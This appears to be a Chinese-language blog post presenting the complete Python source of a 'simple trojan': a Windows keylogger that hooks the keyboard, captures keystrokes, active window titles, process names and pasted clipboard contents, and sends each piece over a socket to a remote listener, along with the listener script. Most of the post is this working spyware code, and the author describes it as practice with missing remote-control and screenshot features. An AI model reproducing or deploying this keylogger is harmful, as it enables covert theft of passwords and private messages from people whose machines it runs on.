參考鏈接:
Python編寫簡易木馬程序
參考這個博客來寫的
一些具體的問題:
1.配置pyHook模塊、ctypes模塊,需要這兩個木塊才能運行成功。
2.將三個模塊結合起來要分清client為發送方server為接收方。
結合起來:發送方(被監控者)
# -*- coding:gb2312 -*- from ctypes import* import pythoncom import pyHook import win32clipboard import socket import threading def send(message): #目標地址ip/URL及端口 target_host = "***.***.***.***" target_port = 9999 #創建一個socket對象 client = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #連接主機 client.connect((target_host,target_port)) #發送數據 client.send("GET/HTTP/1.1\r\n"+message+"\r\n\r\n") #接受響應 response = client.recv(4096) #-------------------------------------------------- user32 = windll.user32 kernel32 = windll.kernel32 psapi = windll.psapi current_window = None def get_current_process(): #獲取最上層的窗口句柄 hwnd = user32.GetForegroundWindow() #獲取進程ID pid = c_ulong(0) user32.GetWindowThreadProcessId(hwnd,byref(pid)) #將進程ID存入變量 process_id = "%d"%pid.value #申請內存 executable = create_string_buffer("\x00"*512) h_process = kernel32.OpenProcess(0x400|0x10,False,pid) psapi.GetModuleBaseNameA(h_process,None,byref(executable),512) #讀取窗口標題 windows_title = create_string_buffer("\x00"*512) length = user32.GetWindowTextA(hwnd,byref(windows_title),512) #發送 message = process_id+" "+executable.value+" "+windows_title.value send(message) #關閉handows kernel32.CloseHandle(hwnd) kernel32.CloseHandle(h_process) #定義擊鍵監聽事件函數 def KeyStroke(event): global current_window #檢測目標窗口是否發生轉移(換了其他窗口就監聽其他窗口) if event.WindowName != current_window: #函數調用 get_current_process() #檢查擊鍵是否為常規按鍵(非組合鍵)並發送 if event.Ascii >32 and event.Ascii < 127: message = chr(event.Ascii) send(message) else: #如果發現Ctrl+v事件,酒吧粘貼板內容發送 if event.Key == "V": win32clipboard.OpenClipboard() pasted_value = win32clipboard.GetClipboardData() win32clipboard.CloseClipboard() message = pasted_value send(message) else: send(event.Key) #監聽下一個擊鍵事件 return True #創建並注冊hook管理器 kl = pyHook.HookManager() kl.KeyDown = KeyStroke #注冊hook並執行 kl.HookKeyboard() pythoncom.PumpMessages()
接收方:
# -*- coding:gb2312 -*- import socket import threading #監聽的ip及端口 bind_ip = "127.0.0.1" bind_port = 9999 server = socket.socket(socket.AF_INET,socket.SOCK_STREAM) server.bind((bind_ip,bind_port)) server.listen(5) print"[*]Listening on %s:%d"%(bind_ip,bind_port) def handle_client(client_socket): request = client_socket.recv(1024) print"[*]Received:%s"%request client_socket.send("ok!") client_socket.close() while True: client,addr = server.accept() print"[*]Accept connection from:%s:%d"%(addr[0],addr[1]) client_handler = threading.Thread(target=handle_client,args=(client,)) client_handler.start()
就是把三個模塊結合,把發送的數據改為記錄即可。
未解決問題:
1.哎,沒什么用,雖然能實現功能,但是一般的殺毒軟件都能檢測到程序在監控鍵盤輸入,就當練習玩吧。
2.功能不夠完善,沒有遠程控制功能,把他扔出去就只能接受信息了。
3.未完善鼠標監聽和截圖功能。